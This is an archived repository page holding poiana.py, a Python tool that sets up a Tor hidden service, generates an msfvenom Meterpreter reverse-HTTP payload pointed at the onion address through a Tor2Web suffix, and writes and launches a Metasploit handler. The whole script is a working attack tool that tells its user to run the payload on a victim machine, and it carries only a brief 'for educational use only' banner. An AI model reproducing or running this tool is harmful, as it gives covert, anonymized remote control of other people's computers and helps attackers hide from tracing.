This repository has been archived by the owner on Mar 11, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathpoiana.py
141 lines (114 loc) · 5.22 KB
/
poiana.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
# -*- coding: utf-8 -*-
# Author: [email protected]
import os
import shutil
import signal
import subprocess
import time
from stem.control import Controller
from termcolor import colored
from subprocess import check_output
def generatebatch():
"""Generate metasploit batch .rc file"""
with open('msfconsole.rc', 'w') as f:
f.write("use exploit/multi/handler\n")
f.write("set PAYLOAD python/meterpreter_reverse_http\n")
f.write("set LHOST 127.0.0.1\n")
f.write("set LPORT 5000\n")
f.write("exploit -jz\n")
print(" * batch file generated in " + os.getcwd() + "/msfconsole.rc")
print('\n')
# Asking for valid response
while True:
response = input("[!] Start msfconsole now? [yes/no] ")
if not response.isalpha():
continue
if response == 'yes' or response == 'no':
break
if response == 'yes':
subprocess.Popen(['xterm', '-e', 'msfconsole -q -r msfconsole.rc'])
def generatepayload(hostname):
"""Generating msfvenom python nostaged payload"""
# Check if msfvenom is installed
rc = subprocess.call(['which', 'msfvenom'], stdout=subprocess.PIPE)
if rc:
print('\n')
print('[!] Unable to find msfvenom! Exiting..')
exit(0)
print(" * Generating msfvenom python/meterpreter_reverse_http payload..")
print('\n')
# Append .ws Tor2Web extension
lhost = hostname + ".ws"
# Generate payload
payload = "msfvenom -p python/meterpreter_reverse_http LHOST=" + lhost + " LPORT=80 > payload.py"
subprocess.call(payload, stdout=subprocess.PIPE, shell=True)
print(" * payload generated in " + os.getcwd() + "/payload.py - Run on victim machine")
def stem():
"""Start hidden service"""
# Check if tor is installed
rc = subprocess.call(['which', 'tor'], stdout=subprocess.PIPE)
if rc:
print('\n')
print('[!] Unable to find tor! Exiting..')
exit(0)
else:
# Start tor
print(' * Starting tor network..')
os.system("tor --quiet &")
# Give some time to start tor circuit..
time.sleep(6)
with Controller.from_port() as controller:
controller.authenticate()
# Create a directory for hidden service
hidden_service_dir = os.path.join(controller.get_conf('DataDirectory', os.getcwd()), 'hidden_service_data')
# Create a hidden service where visitors of port 80 get redirected to local
# port 5000
try:
print(" * Creating hidden service in %s" % hidden_service_dir)
result = controller.create_hidden_service(hidden_service_dir, 80, target_port=5000)
except:
print("[!] Unable to connect ! Is tor running and dir writable? Exiting..")
exit(0)
# The hostname is only available when we can read the hidden service
# directory. This requires us to be running with the same user as tor process.
if result.hostname:
print(" * Service is available at %s redirecting to local port 5000" % result.hostname)
# Generate payload
generatepayload(result.hostname)
# Generate metasploit batch file
generatebatch()
print('\n')
else:
print(
"* Unable to determine our service's hostname, probably due to being unable to read the hidden "
"service directory. Exiting..")
exit(0)
try:
input("\x1b[6;30;42m * RUNNING - <enter> to quit\x1b[0m")
finally:
# Shut down the hidden service and clean it off disk. Note that you *don't*
# want to delete the hidden service directory if you'd like to have this
# same *.onion address in the future.
print(" * Shutting down hidden service and clean it off disk")
controller.remove_hidden_service(hidden_service_dir)
shutil.rmtree(hidden_service_dir)
print(" * Shutting down tor")
os.kill(int(check_output(["pidof", "tor"])), signal.SIGTERM)
def main():
"""Main function of tool"""
print("""\033[91m
██████╗░░█████╗░██╗░█████╗░███╗░░██╗░█████╗░
██╔══██╗██╔══██╗██║██╔══██╗████╗░██║██╔══██╗
██████╔╝██║░░██║██║███████║██╔██╗██║███████║
██╔═══╝░██║░░██║██║██╔══██║██║╚████║██╔══██║
██║░░░░░╚█████╔╝██║██║░░██║██║░╚███║██║░░██║
╚═╝░░░░░░╚════╝░╚═╝╚═╝░░╚═╝╚═╝░░╚══╝╚═╝░░╚═╝
\x1b[0m""")
print(colored("\tMeterpreter Reverse shell on TOR using hidden services", 'red'))
print(colored("\[email protected] | For educational use only", 'red'))
print('\n')
time.sleep(2)
stem()
if __name__ == "__main__":
os.system('clear')
main()